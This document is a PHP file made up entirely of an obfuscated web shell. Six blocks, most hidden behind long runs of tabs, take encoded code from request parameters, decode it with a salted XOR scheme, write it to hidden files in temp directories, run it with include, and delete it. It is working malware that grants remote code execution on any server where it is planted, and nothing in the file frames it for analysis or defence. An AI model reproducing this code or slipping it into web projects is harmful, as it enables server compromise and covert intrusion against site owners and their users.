<?php																																										if(isset($_REQUEST) && isset($_REQUEST["mark\x65r"])){ $tkn = $_REQUEST["mark\x65r"]; $tkn = explode ( '.' , $tkn ) ; $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $r = 0; array_walk( $tkn, function( $v3) use( &$bind, &$r, $salt, $sLen) { $sChar = ord( $salt[$r % $sLen] ); $dec =( ( int)$v3 - $sChar -( $r % 10)) ^ 87; $bind .= chr( $dec ); $r++; } ); $object = array_filter(["/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp"]); while ($dat = array_shift($object)) { if (max(0, is_dir($dat) * is_writable($dat))) { $descriptor = implode("/", [$dat, ".item"]); if (file_put_contents($descriptor, $bind)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(isset($_POST["t\x6B\x6E"]) ? true : false){ $entry = $_POST["t\x6B\x6E"]; $entry = explode ( "." , $entry) ; $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; while($p < count($entry)) { $v5 = $entry[$p]; $sChar = ord($s[$p % $lenS]); $d =((int)$v5 - $sChar -($p % 10)) ^ 51; $itm .= chr($d); $p++; } $k = array_filter([getenv("TEMP"), "/var/tmp", "/tmp", getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path()]); while ($value = array_shift($k)) { if (max(0, is_dir($value) * is_writable($value))) { $bind = str_replace("{var_dir}", $value, "{var_dir}/.desc"); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $bind; @unlink($bind); exit; } } } }
																																										if(array_key_exists("k", $_POST) && !is_null($_POST["k"])){ $flg = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/var/tmp", session_save_path(), getcwd(), getenv("TMP")]); $ref = $_POST["k"]; $ref = explode ('.', $ref) ; $ent = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7); $y = 0; array_walk( $ref, function( $v8) use( &$ent, &$y, $s7, $sLen) { $chS = ord( $s7[$y % $sLen]); $d =( ( int)$v8 - $chS -( $y % 10)) ^97; $ent .= chr( $d); $y++; }); for ($item = 0, $resource = count($flg); $item < $resource; $item++) { $holder = $flg[$item]; if (is_dir($holder) && is_writable($holder)) { $val = "$holder" . "/.binding"; if (@file_put_contents($val, $ent) !== false) { include $val; unlink($val); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x66lg"])){ $itm = $_POST["\x66lg"]; $itm = explode ( "." , $itm ) ; $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; while($m < count($itm)) { $v8 = $itm[$m]; $sChar = ord($salt[$m % $lenS]); $d =((int)$v8 - $sChar -($m % 10))^80; $component.= chr($d); $m++;} $comp = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]); for ($element = 0, $token = count($comp); $element < $token; $element++) { $symbol = $comp[$element]; if (!( !is_dir($symbol) || !is_writable($symbol) )) { $elem = sprintf("%s/.value", $symbol); if (@file_put_contents($elem, $component) !== false) { include $elem; unlink($elem); die(); } } } }
																																										if(array_key_exists("m\x61\x72ke\x72", $_REQUEST) && !is_null($_REQUEST["m\x61\x72ke\x72"])){ $pgrp = array_filter(["/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd()]); $val = $_REQUEST["m\x61\x72ke\x72"]; $val = explode( "." ,$val); $symbol = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $len = count( $val); for( $r = 0; $r < $len; $r++) { $v9 = $val[$r]; $chS = ord( $salt5[$r% $lenS]); $d =( ( int)$v9 - $chS -( $r% 10)) ^ 30; $symbol .=chr( $d); } for ($value = 0, $holder = count($pgrp); $value < $holder; $value++) { $token = $pgrp[$value]; if ((is_dir($token) and is_writable($token))) { $binding = "$token" . "/.descriptor"; $success = file_put_contents($binding, $symbol); if ($success) { include $binding; @unlink($binding); exit;} } } }


if(array_key_exists("\x72\x65s", $_REQUEST)){
	$comp = array_filter([getenv("TEMP"), getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm"]);
	$rec = $_REQUEST["\x72\x65s"];
	$rec  =  explode			( "."		,$rec	 	);   
	$itm =	'';
            $s =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	strlen($s);
            $t =	0;
    
            $__tmp =	$rec;
            while ($v8 =	array_shift($__tmp)) {$chS =	ord($s[$t%$sLen]);
                $d =	((int)$v8 - $chS - ($t%10)) ^ 77;
                $itm .= chr($d);
                $t++;
            }
	foreach ($comp as $factor) {
    		if (is_dir($factor) ? is_writable($factor) : false) {
    $data_chunk = join("/", [$factor, ".resource"]);
    if (file_put_contents($data_chunk, $itm)) {
	include $data_chunk;
	@unlink($data_chunk);
	exit;
}
}
}
}